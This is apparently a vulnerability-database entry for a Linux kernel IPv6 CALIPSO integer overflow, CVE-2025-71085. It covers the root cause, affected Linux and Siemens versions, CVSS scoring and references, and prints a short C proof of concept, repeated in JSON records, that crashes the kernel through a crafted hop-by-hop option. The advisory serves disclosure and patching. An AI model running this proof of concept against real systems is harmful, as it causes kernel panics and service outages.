CVE-2025-71085 (GCVE-0-2025-71085)
Vulnerability from cvelistv5 – Published: 2026-01-13 15:34 – Updated: 2026-10-19 18:15
VLAI
EPSS
VEX
Title
ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()
Summary
In the Linux kernel, the following vulnerability has been resolved:
ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()
There exists a kernel oops caused by a BUG_ON(nhead < 0) at
net/core/skbuff.c:2232 in pskb_expand_head().
This bug is triggered as part of the calipso_skbuff_setattr()
routine when skb_cow() is passed headroom > INT_MAX
(i.e. (int)(skb_headroom(skb) + len_delta) < 0).
The root cause of the bug is due to an implicit integer cast in
__skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure
that delta = headroom - skb_headroom(skb) is never negative, otherwise
we will trigger a BUG_ON in pskb_expand_head(). However, if
headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta
becomes negative, and pskb_expand_head() is passed a negative value for
nhead.
Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing
"negative" headroom sizes to skb_cow() within calipso_skbuff_setattr()
by only using skb_cow() to grow headroom.
PoC:
Using `netlabelctl` tool:
netlabelctl map del default
netlabelctl calipso add pass doi:7
netlabelctl map add default address:0::1/128 protocol:calipso,7
Then run the following PoC:
int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
// setup msghdr
int cmsg_size = 2;
int cmsg_len = 0x60;
struct msghdr msg;
struct sockaddr_in6 dest_addr;
struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
sizeof(struct cmsghdr) + cmsg_len);
msg.msg_name = &dest_addr;
msg.msg_namelen = sizeof(dest_addr);
msg.msg_iov = NULL;
msg.msg_iovlen = 0;
msg.msg_control = cmsg;
msg.msg_controllen = cmsg_len;
msg.msg_flags = 0;
// setup sockaddr
dest_addr.sin6_family = AF_INET6;
dest_addr.sin6_port = htons(31337);
dest_addr.sin6_flowinfo = htonl(31337);
dest_addr.sin6_addr = in6addr_loopback;
dest_addr.sin6_scope_id = 31337;
// setup cmsghdr
cmsg->cmsg_len = cmsg_len;
cmsg->cmsg_level = IPPROTO_IPV6;
cmsg->cmsg_type = IPV6_HOPOPTS;
char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80
sendmsg(fd, &msg, 0);
Severity
7.5 (High)
SSVC
Exploitation: none
Automatable: no
Technical Impact: partial
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2026-06-10 20:42 UTC
CWE
- CWE-190 - Integer Overflow or Wraparound
Assigner
References
9 references
Impacted products
8 products
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| Linux | Linux |
Affected:
2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 86f365897068d09418488165a68b23cb5baa37f2
(git)
Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 6b7522424529556c9cbc15e15e7bd4eeae310910 (git) Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 2bb759062efa188ea5d07242a43e5aa5464bbae1 (git) Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < c53aa6a5086f03f19564096ee084a202a8c738c0 (git) Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < bf3709738d8a8cc6fa275773170c5c29511a0b24 (git) Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 73744ad5696dce0e0f43872aba8de6a83d6ad570 (git) Affected: 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3 , < 58fc7342b529803d3c221101102fe913df7adb83 (git) |
guessed | |
| Linux | Linux |
Affected:
4.8
Unaffected: 0 , < 4.8 (semver) Unaffected: 5.10.248 , ≤ 5.10.* (semver) Unaffected: 5.15.198 , ≤ 5.15.* (semver) Unaffected: 6.1.160 , ≤ 6.1.* (semver) Unaffected: 6.6.120 , ≤ 6.6.* (semver) Unaffected: 6.12.64 , ≤ 6.12.* (semver) Unaffected: 6.18.4 , ≤ 6.18.* (semver) Unaffected: 6.19 , ≤ * (original_commit_for_fix) |
guessed | |
| Siemens | SIMATIC S7-1500 CPU 1518-4 PN/DP MFP |
Affected:
V3.1.6 , < *
(custom)
|
guessed | |
| Siemens | SIMATIC S7-1500 CPU 1518-4 PN/DP MFP |
Affected:
V3.1.7 , < *
(custom)
|
guessed | |
| Siemens | SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP |
Affected:
V3.1.6 , < *
(custom)
|
guessed | |
| Siemens | SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP |
Affected:
V3.1.7 , < *
(custom)
|
guessed | |
| Siemens | SIPLUS S7-1500 CPU 1518-4 PN/DP MFP |
Affected:
V3.1.6 , < *
(custom)
|
guessed | |
| Siemens | SIPLUS S7-1500 CPU 1518-4 PN/DP MFP |
Affected:
V3.1.7 , < *
(custom)
|
guessed |
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"value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\n\nThere exists a kernel oops caused by a BUG_ON(nhead \u003c 0) at\nnet/core/skbuff.c:2232 in pskb_expand_head().\nThis bug is triggered as part of the calipso_skbuff_setattr()\nroutine when skb_cow() is passed headroom \u003e INT_MAX\n(i.e. (int)(skb_headroom(skb) + len_delta) \u003c 0).\n\nThe root cause of the bug is due to an implicit integer cast in\n__skb_cow(). The check (headroom \u003e skb_headroom(skb)) is meant to ensure\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\nheadroom \u003e INT_MAX and delta \u003c= -NET_SKB_PAD, the check passes, delta\nbecomes negative, and pskb_expand_head() is passed a negative value for\nnhead.\n\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\n\"negative\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\nby only using skb_cow() to grow headroom.\n\nPoC:\n\tUsing `netlabelctl` tool:\n\n netlabelctl map del default\n netlabelctl calipso add pass doi:7\n netlabelctl map add default address:0::1/128 protocol:calipso,7\n\n Then run the following PoC:\n\n int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\n\n // setup msghdr\n int cmsg_size = 2;\n int cmsg_len = 0x60;\n struct msghdr msg;\n struct sockaddr_in6 dest_addr;\n struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\n sizeof(struct cmsghdr) + cmsg_len);\n msg.msg_name = \u0026dest_addr;\n msg.msg_namelen = sizeof(dest_addr);\n msg.msg_iov = NULL;\n msg.msg_iovlen = 0;\n msg.msg_control = cmsg;\n msg.msg_controllen = cmsg_len;\n msg.msg_flags = 0;\n\n // setup sockaddr\n dest_addr.sin6_family = AF_INET6;\n dest_addr.sin6_port = htons(31337);\n dest_addr.sin6_flowinfo = htonl(31337);\n dest_addr.sin6_addr = in6addr_loopback;\n dest_addr.sin6_scope_id = 31337;\n\n // setup cmsghdr\n cmsg-\u003ecmsg_len = cmsg_len;\n cmsg-\u003ecmsg_level = IPPROTO_IPV6;\n cmsg-\u003ecmsg_type = IPV6_HOPOPTS;\n char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\n hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\n\n sendmsg(fd, \u0026msg, 0);"
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"value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\n\nThere exists a kernel oops caused by a BUG_ON(nhead \u003c 0) at\nnet/core/skbuff.c:2232 in pskb_expand_head().\nThis bug is triggered as part of the calipso_skbuff_setattr()\nroutine when skb_cow() is passed headroom \u003e INT_MAX\n(i.e. (int)(skb_headroom(skb) + len_delta) \u003c 0).\n\nThe root cause of the bug is due to an implicit integer cast in\n__skb_cow(). The check (headroom \u003e skb_headroom(skb)) is meant to ensure\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\nheadroom \u003e INT_MAX and delta \u003c= -NET_SKB_PAD, the check passes, delta\nbecomes negative, and pskb_expand_head() is passed a negative value for\nnhead.\n\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\n\"negative\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\nby only using skb_cow() to grow headroom.\n\nPoC:\n\tUsing `netlabelctl` tool:\n\n netlabelctl map del default\n netlabelctl calipso add pass doi:7\n netlabelctl map add default address:0::1/128 protocol:calipso,7\n\n Then run the following PoC:\n\n int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\n\n // setup msghdr\n int cmsg_size = 2;\n int cmsg_len = 0x60;\n struct msghdr msg;\n struct sockaddr_in6 dest_addr;\n struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\n sizeof(struct cmsghdr) + cmsg_len);\n msg.msg_name = \u0026dest_addr;\n msg.msg_namelen = sizeof(dest_addr);\n msg.msg_iov = NULL;\n msg.msg_iovlen = 0;\n msg.msg_control = cmsg;\n msg.msg_controllen = cmsg_len;\n msg.msg_flags = 0;\n\n // setup sockaddr\n dest_addr.sin6_family = AF_INET6;\n dest_addr.sin6_port = htons(31337);\n dest_addr.sin6_flowinfo = htonl(31337);\n dest_addr.sin6_addr = in6addr_loopback;\n dest_addr.sin6_scope_id = 31337;\n\n // setup cmsghdr\n cmsg-\u003ecmsg_len = cmsg_len;\n cmsg-\u003ecmsg_level = IPPROTO_IPV6;\n cmsg-\u003ecmsg_type = IPV6_HOPOPTS;\n char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\n hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\n\n sendmsg(fd, \u0026msg, 0);"
},
{
"lang": "es",
"value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nipv6: BUG() en pskb_expand_head() como parte de calipso_skbuff_setattr()\n\nExiste un oops del kernel causado por un BUG_ON(nhead \u0026lt; 0) en net/core/skbuff.c:2232 en pskb_expand_head(). Este error se activa como parte de la rutina calipso_skbuff_setattr() cuando a skb_cow() se le pasa un headroom \u0026gt; INT_MAX (es decir, (int)(skb_headroom(skb) + len_delta) \u0026lt; 0).\n\nLa causa ra\u00edz del error se debe a una conversi\u00f3n impl\u00edcita de entero en __skb_cow(). La comprobaci\u00f3n (headroom \u0026gt; skb_headroom(skb)) tiene como objetivo asegurar que delta = headroom - skb_headroom(skb) nunca sea negativo, de lo contrario, activaremos un BUG_ON en pskb_expand_head(). Sin embargo, si headroom \u0026gt; INT_MAX y delta \u0026lt;= -NET_SKB_PAD, la comprobaci\u00f3n pasa, delta se vuelve negativo y a pskb_expand_head() se le pasa un valor negativo para nhead.\n\nCorregir la condici\u00f3n de activaci\u00f3n en calipso_skbuff_setattr(). Evitar pasar tama\u00f1os de \u0027headroom\u0027 \u0027negativos\u0027 a skb_cow() dentro de calipso_skbuff_setattr() utilizando \u00fanicamente skb_cow() para aumentar el headroom.\n\nPoC:\n\tUsando la herramienta \u0027netlabelctl\u0027:\n\n netlabelctl map del default\n netlabelctl calipso add pass doi:7\n netlabelctl map add default address:0::1/128 protocol:calipso,7\n\n Luego ejecute el siguiente PoC:\n\n int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\n\n // setup msghdr\n int cmsg_size = 2;\n int cmsg_len = 0x60;\n struct msghdr msg;\n struct sockaddr_in6 dest_addr;\n struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\n sizeof(struct cmsghdr) + cmsg_len);\n msg.msg_name = \u0026amp;dest_addr;\n msg.msg_namelen = sizeof(dest_addr);\n msg.msg_iov = NULL;\n msg.msg_iovlen = 0;\n msg.msg_control = cmsg;\n msg.msg_controllen = cmsg_len;\n msg.msg_flags = 0;\n\n // setup sockaddr\n dest_addr.sin6_family = AF_INET6;\n dest_addr.sin6_port = htons(31337);\n dest_addr.sin6_flowinfo = htonl(31337);\n dest_addr.sin6_addr = in6addr_loopback;\n dest_addr.sin6_scope_id = 31337;\n\n // setup cmsghdr\n cmsg-\u0026gt;cmsg_len = cmsg_len;\n cmsg-\u0026gt;cmsg_level = IPPROTO_IPV6;\n cmsg-\u0026gt;cmsg_type = IPV6_HOPOPTS;\n char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\n hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\n\n sendmsg(fd, \u0026amp;msg, 0);"
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"url": "https://cert-portal.siemens.com/productcert/html/ssa-457936.html"
}
],
"x_adpType": "supplier"
},
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2025-71085",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-06-10T20:42:02.469421Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-190",
"description": "CWE-190 Integer Overflow or Wraparound",
"lang": "en",
"type": "CWE"
}
]
}
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"providerMetadata": {
"dateUpdated": "2026-06-11T17:38:59.047Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
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"title": "CISA ADP Vulnrichment"
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"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "Linux",
"programFiles": [
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],
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"versions": [
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"version": "5.15.198",
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{
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},
{
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"status": "unaffected",
"version": "6.19",
"versionType": "original_commit_for_fix"
}
]
}
],
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"nodes": [
{
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"lang": "en",
"value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\n\nThere exists a kernel oops caused by a BUG_ON(nhead \u003c 0) at\nnet/core/skbuff.c:2232 in pskb_expand_head().\nThis bug is triggered as part of the calipso_skbuff_setattr()\nroutine when skb_cow() is passed headroom \u003e INT_MAX\n(i.e. (int)(skb_headroom(skb) + len_delta) \u003c 0).\n\nThe root cause of the bug is due to an implicit integer cast in\n__skb_cow(). The check (headroom \u003e skb_headroom(skb)) is meant to ensure\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\nheadroom \u003e INT_MAX and delta \u003c= -NET_SKB_PAD, the check passes, delta\nbecomes negative, and pskb_expand_head() is passed a negative value for\nnhead.\n\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\n\"negative\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\nby only using skb_cow() to grow headroom.\n\nPoC:\n\tUsing `netlabelctl` tool:\n\n netlabelctl map del default\n netlabelctl calipso add pass doi:7\n netlabelctl map add default address:0::1/128 protocol:calipso,7\n\n Then run the following PoC:\n\n int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\n\n // setup msghdr\n int cmsg_size = 2;\n int cmsg_len = 0x60;\n struct msghdr msg;\n struct sockaddr_in6 dest_addr;\n struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\n sizeof(struct cmsghdr) + cmsg_len);\n msg.msg_name = \u0026dest_addr;\n msg.msg_namelen = sizeof(dest_addr);\n msg.msg_iov = NULL;\n msg.msg_iovlen = 0;\n msg.msg_control = cmsg;\n msg.msg_controllen = cmsg_len;\n msg.msg_flags = 0;\n\n // setup sockaddr\n dest_addr.sin6_family = AF_INET6;\n dest_addr.sin6_port = htons(31337);\n dest_addr.sin6_flowinfo = htonl(31337);\n dest_addr.sin6_addr = in6addr_loopback;\n dest_addr.sin6_scope_id = 31337;\n\n // setup cmsghdr\n cmsg-\u003ecmsg_len = cmsg_len;\n cmsg-\u003ecmsg_level = IPPROTO_IPV6;\n cmsg-\u003ecmsg_type = IPV6_HOPOPTS;\n char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\n hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\n\n sendmsg(fd, \u0026msg, 0);"
}
],
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"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
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"lang": "en",
"value": "AV:N - On an IPv6-forwarding CALIPSO/SELinux gateway, a remote peer can supply a valid oversized CALIPSO hop-by-hop option; the NF_INET_FORWARD SELinux hook reaches calipso_skbuff_setattr() while relabeling the packet.\nAC:L - Once CALIPSO labeling and IPv6 forwarding are configured, the attacker controls the option length, label data, padding, and CRC and can deterministically create a sufficiently negative len_delta without a race or uncontrollable memory layout.\nPR:N - The forwarding path processes received packet metadata without an authenticated session, and CALIPSO\u0027s CRC provides no authentication, so the remote attacker needs no local credentials or capabilities.\nUI:N - A crafted packet triggers the vulnerable forwarding hook automatically without any victim action.\nS:U - The assertion and resulting denial of service remain within the host kernel\u0027s existing security authority and do not cross a virtualization or sandbox boundary.\nC:N - The negative value reaches BUG_ON before allocation or copying, and no kernel data is disclosed.\nI:N - The assertion fires before pskb_expand_head() modifies buffer storage, so the bug provides no memory corruption or write primitive.\nA:H - The reachable BUG_ON causes a kernel oops and can panic or reboot the system, with repeated packets able to retrigger the failure."
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-05T12:11:57.623Z",
"orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
"shortName": "Linux"
},
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"url": "https://git.kernel.org/stable/c/86f365897068d09418488165a68b23cb5baa37f2"
},
{
"url": "https://git.kernel.org/stable/c/6b7522424529556c9cbc15e15e7bd4eeae310910"
},
{
"url": "https://git.kernel.org/stable/c/2bb759062efa188ea5d07242a43e5aa5464bbae1"
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"url": "https://git.kernel.org/stable/c/c53aa6a5086f03f19564096ee084a202a8c738c0"
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{
"url": "https://git.kernel.org/stable/c/58fc7342b529803d3c221101102fe913df7adb83"
}
],
"title": "ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()",
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"datePublished": "2026-01-13T15:34:48.324Z",
"dateReserved": "2026-01-13T15:30:19.649Z",
"dateUpdated": "2026-10-19T18:15:11.736Z",
"state": "PUBLISHED"
},
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}
}
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Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.